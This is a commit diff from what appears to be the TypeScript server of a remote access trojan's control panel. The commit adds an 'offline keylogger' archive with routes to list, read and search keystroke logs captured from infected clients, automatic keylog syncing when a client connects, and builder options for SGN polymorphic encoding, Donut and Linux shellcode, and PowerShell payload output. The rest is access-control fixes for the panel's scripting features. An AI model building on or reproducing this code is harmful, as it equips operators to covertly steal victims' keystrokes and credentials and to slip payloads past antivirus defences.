fix some tele links, add offline keylogger, fix rbac issues with scripting.
This commit is contained in:
@@ -502,6 +502,7 @@ export async function handleAuthRoutes(
|
||||
mustChangePassword: dbUser ? Boolean(dbUser.must_change_password) : false,
|
||||
canBuild: dbUser ? Boolean(dbUser.can_build) : false,
|
||||
telegramChatId: dbUser?.telegram_chat_id || "",
|
||||
inputArchiveEnabled: dbUser ? Boolean((dbUser as any).keylog_archive_enabled) : false,
|
||||
featurePermissions,
|
||||
permissions,
|
||||
}),
|
||||
|
||||
@@ -1,8 +1,9 @@
|
||||
import { authenticateRequest } from "../../auth";
|
||||
import {
|
||||
canUserManageAutoScript,
|
||||
createAutoScript,
|
||||
deleteAutoScript,
|
||||
listAutoScripts,
|
||||
listAutoScriptsForUser,
|
||||
type AutoScriptTrigger,
|
||||
updateAutoScript,
|
||||
} from "../../db";
|
||||
@@ -23,13 +24,13 @@ export async function handleAutoScriptsRoutes(
|
||||
});
|
||||
}
|
||||
try {
|
||||
requirePermission(user, "clients:control");
|
||||
requirePermission(user, "scripts:manage");
|
||||
} catch (error) {
|
||||
if (error instanceof Response) return error;
|
||||
return new Response("Forbidden", { status: 403 });
|
||||
}
|
||||
|
||||
return Response.json({ items: listAutoScripts() });
|
||||
return Response.json({ items: listAutoScriptsForUser(user.userId, user.role) });
|
||||
}
|
||||
|
||||
if (req.method === "POST" && url.pathname === "/api/auto-scripts") {
|
||||
@@ -84,6 +85,7 @@ export async function handleAutoScriptsRoutes(
|
||||
scriptType,
|
||||
enabled,
|
||||
osFilter,
|
||||
createdByUserId: user.userId,
|
||||
});
|
||||
|
||||
return Response.json({ ok: true, item });
|
||||
@@ -129,7 +131,12 @@ export async function handleAutoScriptsRoutes(
|
||||
? osFilterRaw.filter((v: unknown) => typeof v === "string" && ALLOWED_OS_FILTERS.has(v))
|
||||
: undefined;
|
||||
|
||||
const updated = updateAutoScript(autoScriptMatch[1], {
|
||||
const scriptId = autoScriptMatch[1];
|
||||
if (!canUserManageAutoScript(user.userId, user.role, scriptId)) {
|
||||
return Response.json({ error: "Not found" }, { status: 404 });
|
||||
}
|
||||
|
||||
const updated = updateAutoScript(scriptId, {
|
||||
name: body?.name ? String(body.name).trim() : undefined,
|
||||
trigger: triggerRaw as AutoScriptTrigger | undefined,
|
||||
script: body?.script ? String(body.script) : undefined,
|
||||
@@ -160,7 +167,12 @@ export async function handleAutoScriptsRoutes(
|
||||
return new Response("Forbidden", { status: 403 });
|
||||
}
|
||||
|
||||
deleteAutoScript(autoScriptMatch[1]);
|
||||
const scriptId = autoScriptMatch[1];
|
||||
if (!canUserManageAutoScript(user.userId, user.role, scriptId)) {
|
||||
return Response.json({ error: "Not found" }, { status: 404 });
|
||||
}
|
||||
|
||||
deleteAutoScript(scriptId);
|
||||
return Response.json({ ok: true });
|
||||
}
|
||||
|
||||
|
||||
@@ -117,6 +117,7 @@ export async function handleBuildRoutes(
|
||||
shellcodeConsole,
|
||||
useSgn,
|
||||
sgnIterations,
|
||||
outputSgnTxt,
|
||||
fetchPublicIP,
|
||||
uploadToFileShare,
|
||||
} = body;
|
||||
@@ -290,13 +291,32 @@ export async function handleBuildRoutes(
|
||||
: undefined;
|
||||
const safeRequireAdmin = !!requireAdmin;
|
||||
const safeCriticalProcess = !!criticalProcess;
|
||||
const VALID_OUTPUT_EXTENSIONS = new Set([".exe", ".scr", ".bat", ".cmd", ".pif", ".com"]);
|
||||
const VALID_OUTPUT_EXTENSIONS = new Set([".exe", ".scr", ".bat", ".cmd", ".ps1", ".pif", ".com"]);
|
||||
const safeOutputExtension =
|
||||
typeof outputExtension === "string" && VALID_OUTPUT_EXTENSIONS.has(outputExtension.toLowerCase())
|
||||
? outputExtension.toLowerCase() : ".exe";
|
||||
const safeSleepSeconds =
|
||||
typeof sleepSeconds === "number" && Number.isInteger(sleepSeconds) && sleepSeconds >= 0 && sleepSeconds <= 3600
|
||||
? sleepSeconds : 0;
|
||||
const safeOutputSgnTxt = !!outputSgnTxt;
|
||||
if (safeOutputSgnTxt && !useSgn) {
|
||||
return Response.json(
|
||||
{ error: "SGN TXT output requires SGN Polymorphic Encoding" },
|
||||
{ status: 400 },
|
||||
);
|
||||
}
|
||||
if (safeOutputSgnTxt) {
|
||||
const hasSgnCapableTarget = allowedPlatforms.some((p) =>
|
||||
(!!useDonut && p.startsWith("windows-")) ||
|
||||
(!!useLinuxShellcode && p === "linux-amd64")
|
||||
);
|
||||
if (!hasSgnCapableTarget) {
|
||||
return Response.json(
|
||||
{ error: "SGN TXT output requires Donut on Windows or Linux Shellcode on linux-amd64" },
|
||||
{ status: 400 },
|
||||
);
|
||||
}
|
||||
}
|
||||
|
||||
const MAX_BOUND_FILES = 5;
|
||||
const MAX_BOUND_FILE_BYTES = 50 * 1024 * 1024;
|
||||
@@ -401,6 +421,7 @@ export async function handleBuildRoutes(
|
||||
shellcodeConsole: !!shellcodeConsole,
|
||||
useSgn: !!useSgn,
|
||||
sgnIterations: Math.max(1, Math.min(50, Math.floor(Number(sgnIterations) || 1))),
|
||||
outputSgnTxt: safeOutputSgnTxt,
|
||||
fetchPublicIP: !!fetchPublicIP,
|
||||
uploadToFileShare: safeUploadToFileShare,
|
||||
}).finally(() => {
|
||||
@@ -689,7 +710,9 @@ export async function handleBuildRoutes(
|
||||
|
||||
return new Response(file, {
|
||||
headers: {
|
||||
"Content-Type": "application/octet-stream",
|
||||
"Content-Type": fileName.toLowerCase().endsWith(".txt")
|
||||
? "text/plain; charset=utf-8"
|
||||
: "application/octet-stream",
|
||||
"Content-Disposition": `attachment; filename="${fileName}"`,
|
||||
},
|
||||
});
|
||||
|
||||
@@ -0,0 +1,68 @@
|
||||
import { authenticateRequest } from "../../auth";
|
||||
import { canUserAccessClient } from "../../users";
|
||||
import { requireFeatureAccess } from "../../rbac";
|
||||
import {
|
||||
getArchivedKeylogContent,
|
||||
listArchivedKeylogs,
|
||||
searchArchivedKeylogs,
|
||||
} from "../keylog-archive";
|
||||
|
||||
type KeylogArchiveRouteDeps = {
|
||||
CORS_HEADERS: Record<string, string>;
|
||||
};
|
||||
|
||||
function parseClientArchivePath(pathname: string): { clientId: string; action: string } | null {
|
||||
const match = pathname.match(/^\/api\/clients\/([^/]+)\/keylogger\/archive(?:\/([^/]+))?$/);
|
||||
if (!match) return null;
|
||||
return {
|
||||
clientId: decodeURIComponent(match[1]),
|
||||
action: match[2] || "list",
|
||||
};
|
||||
}
|
||||
|
||||
async function requireArchiveAccess(req: Request, clientId: string) {
|
||||
const user = await authenticateRequest(req);
|
||||
if (!user) return { response: new Response("Unauthorized", { status: 401 }) };
|
||||
if (!canUserAccessClient(user.userId, user.role, clientId)) {
|
||||
return { response: new Response("Forbidden", { status: 403 }) };
|
||||
}
|
||||
try {
|
||||
requireFeatureAccess(user, "keylogger");
|
||||
} catch (error) {
|
||||
if (error instanceof Response) return { response: error };
|
||||
return { response: new Response("Forbidden", { status: 403 }) };
|
||||
}
|
||||
return { user };
|
||||
}
|
||||
|
||||
export async function handleKeylogArchiveRoutes(
|
||||
req: Request,
|
||||
url: URL,
|
||||
deps: KeylogArchiveRouteDeps,
|
||||
): Promise<Response | null> {
|
||||
const parsed = parseClientArchivePath(url.pathname);
|
||||
if (!parsed) return null;
|
||||
|
||||
const access = await requireArchiveAccess(req, parsed.clientId);
|
||||
if (access.response) return access.response;
|
||||
|
||||
if (req.method === "GET" && parsed.action === "list") {
|
||||
return Response.json({ files: listArchivedKeylogs(parsed.clientId) }, { headers: deps.CORS_HEADERS });
|
||||
}
|
||||
|
||||
if (req.method === "GET" && parsed.action === "content") {
|
||||
const filename = (url.searchParams.get("filename") || "").trim();
|
||||
if (!filename) return Response.json({ error: "filename is required" }, { status: 400, headers: deps.CORS_HEADERS });
|
||||
const content = getArchivedKeylogContent(parsed.clientId, filename);
|
||||
if (!content) return Response.json({ error: "Archived file not found" }, { status: 404, headers: deps.CORS_HEADERS });
|
||||
return Response.json(content, { headers: deps.CORS_HEADERS });
|
||||
}
|
||||
|
||||
if (req.method === "GET" && parsed.action === "search") {
|
||||
const query = (url.searchParams.get("q") || "").trim();
|
||||
if (query.length < 3) return Response.json({ results: [] }, { headers: deps.CORS_HEADERS });
|
||||
return Response.json({ results: searchArchivedKeylogs(parsed.clientId, query) }, { headers: deps.CORS_HEADERS });
|
||||
}
|
||||
|
||||
return new Response("Method not allowed", { status: 405, headers: deps.CORS_HEADERS });
|
||||
}
|
||||
@@ -1,13 +1,13 @@
|
||||
import { authenticateRequest } from "../../auth";
|
||||
import { AuditAction, getAuditLogs, logAudit } from "../../auditLog";
|
||||
import { logger } from "../../logger";
|
||||
import { getConfig, updateSecurityConfig, updateTlsConfig, updateAppearanceConfig, updateChatConfig, getExportableConfig, importFullConfig, updateRegistrationConfig, updateBuildRateLimitConfig, updateThumbnailsConfig } from "../../config";
|
||||
import { getConfig, updateSecurityConfig, updateTlsConfig, updateAppearanceConfig, updateChatConfig, getExportableConfig, importFullConfig, updateRegistrationConfig, updateBuildRateLimitConfig, updateThumbnailsConfig, updateInputArchiveConfig } from "../../config";
|
||||
import { getClientMetricsSummary, getClientMetricsSummaryForUser, getDatabaseFileSizeBytes, listClients } from "../../db";
|
||||
import { getThumbnailStats } from "../../thumbnails";
|
||||
import { getClientCount, getOnlineClients } from "../../clientManager";
|
||||
import { metrics } from "../../metrics";
|
||||
import { requirePermission } from "../../rbac";
|
||||
import { getUserTelegramChatId, setUserTelegramChatId, getUserClientAccessScope, listUserClientRuleIdsByAccess, canUserAccessClient, getUserById } from "../../users";
|
||||
import { getUserTelegramChatId, setUserTelegramChatId, getUserClientAccessScope, listUserClientRuleIdsByAccess, canUserAccessClient, getUserById, getUserInputArchiveEnabled, setUserInputArchiveEnabled } from "../../users";
|
||||
import { buildClientGraph } from "../client-graph";
|
||||
import { runCertbotSetup } from "../certbot-setup";
|
||||
import {
|
||||
@@ -910,6 +910,74 @@ export async function handleMiscRoutes(
|
||||
}
|
||||
}
|
||||
|
||||
if (url.pathname === "/api/settings/input-archive") {
|
||||
const user = await authenticateRequest(req);
|
||||
if (!user) {
|
||||
return new Response("Unauthorized", { status: 401 });
|
||||
}
|
||||
|
||||
if (req.method === "GET") {
|
||||
return Response.json(
|
||||
{
|
||||
myEnabled: getUserInputArchiveEnabled(user.userId),
|
||||
inputArchive: getConfig().inputArchive,
|
||||
},
|
||||
{ headers: deps.CORS_HEADERS },
|
||||
);
|
||||
}
|
||||
|
||||
if (req.method === "PUT") {
|
||||
let body: any = {};
|
||||
try {
|
||||
body = await req.json();
|
||||
} catch {
|
||||
return Response.json({ error: "Invalid JSON" }, { status: 400, headers: deps.CORS_HEADERS });
|
||||
}
|
||||
|
||||
if (body?.myEnabled !== undefined) {
|
||||
const result = setUserInputArchiveEnabled(user.userId, Boolean(body.myEnabled));
|
||||
if (!result.success) {
|
||||
return Response.json({ error: result.error || "Failed to save input archive preference" }, { status: 500, headers: deps.CORS_HEADERS });
|
||||
}
|
||||
}
|
||||
|
||||
let updated = getConfig().inputArchive;
|
||||
if (body?.inputArchive !== undefined) {
|
||||
try {
|
||||
requirePermission(user, "system:input-archive");
|
||||
} catch (error) {
|
||||
if (error instanceof Response) return error;
|
||||
return new Response("Forbidden", { status: 403 });
|
||||
}
|
||||
|
||||
updated = await updateInputArchiveConfig({
|
||||
enabled: body.inputArchive?.enabled !== undefined ? Boolean(body.inputArchive.enabled) : undefined,
|
||||
retentionDays: body.inputArchive?.retentionDays !== undefined ? Number(body.inputArchive.retentionDays) : undefined,
|
||||
maxFileBytes: body.inputArchive?.maxFileBytes !== undefined ? Number(body.inputArchive.maxFileBytes) : undefined,
|
||||
pollIntervalSeconds: body.inputArchive?.pollIntervalSeconds !== undefined ? Number(body.inputArchive.pollIntervalSeconds) : undefined,
|
||||
});
|
||||
|
||||
logAudit({
|
||||
timestamp: Date.now(),
|
||||
username: user.username,
|
||||
ip: deps.requestIP?.(req)?.address || "unknown",
|
||||
action: AuditAction.COMMAND,
|
||||
details: `Updated input archive settings (enabled=${updated.enabled}, retention=${updated.retentionDays}d, poll=${updated.pollIntervalSeconds}s)`,
|
||||
success: true,
|
||||
});
|
||||
}
|
||||
|
||||
return Response.json(
|
||||
{
|
||||
ok: true,
|
||||
myEnabled: getUserInputArchiveEnabled(user.userId),
|
||||
inputArchive: updated,
|
||||
},
|
||||
{ headers: deps.CORS_HEADERS },
|
||||
);
|
||||
}
|
||||
}
|
||||
|
||||
if (url.pathname === "/api/settings/appearance") {
|
||||
const user = await authenticateRequest(req);
|
||||
if (!user) {
|
||||
|
||||
@@ -210,6 +210,7 @@ type WsLifecycleDeps = {
|
||||
dispatchAutoScriptsForConnection: (info: ClientInfo, ws: ServerWebSocket<SocketData>) => void;
|
||||
dispatchAutoDeploysForConnection: (info: ClientInfo, ws: ServerWebSocket<SocketData>) => void;
|
||||
dispatchAutoLoadPlugins: (info: ClientInfo) => void;
|
||||
dispatchKeylogArchiveSync?: (clientId: string, ws: ServerWebSocket<SocketData>) => boolean;
|
||||
takePendingNotificationScreenshot: (clientId: string) => any;
|
||||
storeNotificationScreenshot: (
|
||||
pending: any,
|
||||
@@ -226,6 +227,7 @@ type WsLifecycleDeps = {
|
||||
handleProxyConnectResult: (clientId: string, connectionId: string, ok: boolean) => void;
|
||||
handleProcessMessage: (clientId: string, payload: any) => void;
|
||||
handleKeyloggerMessage: (clientId: string, payload: any) => void;
|
||||
handleKeylogArchiveMessage?: (clientId: string, payload: any, ws?: ServerWebSocket<SocketData>) => void;
|
||||
notifyRdInputLatency: (commandId: string) => void;
|
||||
handleNotificationScreenshotFailure: (commandId: string | undefined, ok: boolean | undefined, message: string | undefined) => void;
|
||||
handlePluginEvent: (clientId: string, payload: any) => void;
|
||||
@@ -675,6 +677,7 @@ export async function handleWebSocketMessage(
|
||||
deps.dispatchAutoScriptsForConnection(infoObj, ws);
|
||||
deps.dispatchAutoDeploysForConnection(infoObj, ws);
|
||||
deps.dispatchAutoLoadPlugins(infoObj);
|
||||
deps.dispatchKeylogArchiveSync?.(infoObj.id, ws);
|
||||
deps.notifyDashboard();
|
||||
if (!reconnectedWithinGrace) {
|
||||
deps.notifyDashboardClientEvent("client_online", {
|
||||
@@ -803,6 +806,7 @@ export async function handleWebSocketMessage(
|
||||
case "keylog_clear_result":
|
||||
case "keylog_delete_result":
|
||||
case "keylog_permission_result":
|
||||
deps.handleKeylogArchiveMessage?.(client.id, payload, ws);
|
||||
deps.handleKeyloggerMessage(client.id, payload);
|
||||
break;
|
||||
case "script_result": {
|
||||
|
||||
Reference in New Issue
Block a user